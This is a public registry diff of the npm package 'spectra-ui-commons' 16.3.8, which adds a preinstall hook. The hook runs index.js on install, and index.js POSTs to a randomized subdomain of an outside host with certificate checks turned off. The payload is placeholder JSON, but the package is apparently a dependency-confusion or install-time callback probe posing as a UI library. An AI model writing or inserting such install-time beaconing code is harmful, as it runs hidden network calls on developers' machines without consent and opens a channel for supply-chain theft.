spectra-ui-commons 16.3.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +24 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const h = require('https');
2
+
3
+ const hey = new TextEncoder().encode(
4
+ JSON.stringify({
5
+ test: "test"
6
+ })
7
+ );
8
+
9
+ const options = {
10
+ hostname: 'test' + '.sd9izw5884bsdkav5gfkxfbn1e75v7jw.tirvax.com',
11
+ port: 443,
12
+ path: '/',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': hey.length
17
+ },
18
+ rejectUnauthorized: false
19
+ }
20
+
21
+ const roq = h.request(options, res => {});
22
+ roq.write(hey);
23
+ roq.end();
24
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "spectra-ui-commons",
3
+ "version": "16.3.8",
4
+ "description": "Testing npm",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"problem\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }